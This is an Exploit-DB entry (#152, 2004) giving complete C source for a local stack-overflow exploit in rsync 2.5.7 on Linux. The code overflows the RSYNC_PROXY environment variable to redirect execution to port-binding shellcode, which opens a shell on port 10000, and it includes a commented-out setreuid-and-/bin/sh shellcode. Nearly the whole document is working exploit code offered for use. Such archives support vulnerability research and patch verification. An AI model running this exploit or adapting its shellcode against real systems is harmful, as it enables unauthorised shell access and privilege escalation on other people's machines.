Exploit-DB #152
Description: rsync 2.5.7 - Local Stack Overflow / Local Privilege Escalation
Type: local
Platform: linux
Date: 2004-02-13
Author: Abhisek Datta

Exploit:
/* 
* rsync <= 2.5.7 Local Exploit
* Saved EIP on stack is overwritten with address of shellcode in memory
* Generally rsync is not setuid or setgid so just a local shell is of no use
* So i used a portbinding shellcode as a PoC of a different attack vector.
* RET is calculated dynamically so payload can be changed just by changing shellcode
* Tested on:
* [eos@Matrix my]$ uname -a
* Linux Matrix 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
* coded by: abhisek linuxmail org
* Special Thanks: n2n, Hirosh Joseph
*/

#include <stdio.h>
/* Includes for code to daemonize */
#include <signal.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <fcntl.h>
/****/
#define PATH "/usr/local/bin/rsync"
#define BUFF_SIZE 100
//#define RET 0xbffffdfb

/* 88 bytes portbinding shellcode - linux-x86
* - by bighawk (bighawk warfare com)
*
* This shellcode binds a shell on port 10000
* stdin, stdout and stderr are dupped. accept() arguments are sane.
*/
char shellcode[] =
"\x31\xdb" // xor ebx, ebx
"\xf7\xe3" // mul ebx
"\xb0\x66" // mov al, 102
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x43" // inc ebx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\x4b" // dec ebx
"\xcd\x80" // int 80h
"\x89\xc7" // mov edi, eax
"\x52" // push edx
"\x66\x68\x27\x10" // push word 4135
"\x43" // inc ebx
"\x66\x53" // push bx
"\x89\xe1" // mov ecx, esp
"\xb0\x10" // mov al, 16
"\x50" // push eax
"\x51" // push ecx
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\xb0\x66" // mov al, 102
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x50" // push eax
"\x50" // push eax
"\x57" // push edi
"\x89\xe1" // mov ecx, esp
"\x43" // inc ebx
"\xb0\x66" // mov al, 102
"\xcd\x80" // int 80h
"\x89\xd9" // mov ecx, ebx
"\x89\xc3" // mov ebx, eax
"\xb0\x3f" // mov al, 63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop lp
"\x51" // push ecx
"\x68\x6e\x2f\x73\x68" // push dword 68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword 69622f2fh
"\x89\xe3" // mov ebx, esp
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx, esp
"\xb0\x0b" // mov al, 11
"\xcd\x80"; // int 80h
/* Shellcode by n2n [n2n@linuxmail.org] used for initial testing */
/*
char shellcode[]=
// setreuid(geteuid(),geteuid()), no use unless rsync is setuid, usually its not 
"\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
// setregid(getegid(),getegid()) 
"\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
// exec /bin/sh 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
// exit() 
"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";
*/
void handler(int sig) {
int stat;
pid_t pid;
while ((pid = waitpid(-1, &stat, WNOHANG)) > 0) { }
return;
}
void go_daemon() {
int i;
if(fork())
exit (0);
setsid();
i=open("/dev/null",O_RDWR);
dup2(i, 0);
dup2(i, 1);
dup2(i, 2);
close(i);
for (i=1;i<64;i++)
signal(i,SIG_IGN);
signal(SIGCHLD,handler);
}
int main(int argc,char *argv[]) {
char *buffer;
int size=BUFF_SIZE,i;
//unsigned long ret_addr=0xbffffffa;
unsigned long ret_addr=0xbffffffa;
//char *expbuff;
char *arg="localhost::rsync:getaddrinfo:XXX";
if(argc > 2) {
printf("USAGE:\n%s BUFF_SIZE\n",argv[0]);
exit(1);
}
if(argc == 2)
size=atoi(argv[1]);
buffer=(char*)malloc(size);
if(!buffer) {
printf("Error allocating memory on heap\n");
exit(1);
}
ret_addr -= strlen(PATH);
ret_addr -= strlen(shellcode);
//ret_addr -= strlen(arg);
/*
expbuff=(char*)malloc(strlen(shellcode)+100);
if(!expbuff) {
printf("Error allocating memory on heap\n");
exit(1);
}
memset(expbuff,0x90,strlen(shellcode)+100);
memcpy(expbuff+80,shellcode,strlen(shellcode));
expbuff[strlen(expbuff)-1]=0x00;
*/
for(i=0;i<size;i+=4) 
*(unsigned long*)(buffer+i)=ret_addr; 
memcpy(buffer,"XXX:",4);
buffer[strlen(buffer)-1]=0x00;
printf("Using BUFF_SIZE=%d\nRET=%p\n",size,ret_addr);
setenv("RSYNC_PROXY",buffer,1);
setenv("EGG",shellcode,1);
/* Daemonizing and executing /usr/local/bin/rsync */
go_daemon();
execl(PATH,PATH,arg,NULL);
return 0;
}


// milw0rm.com [2004-02-13]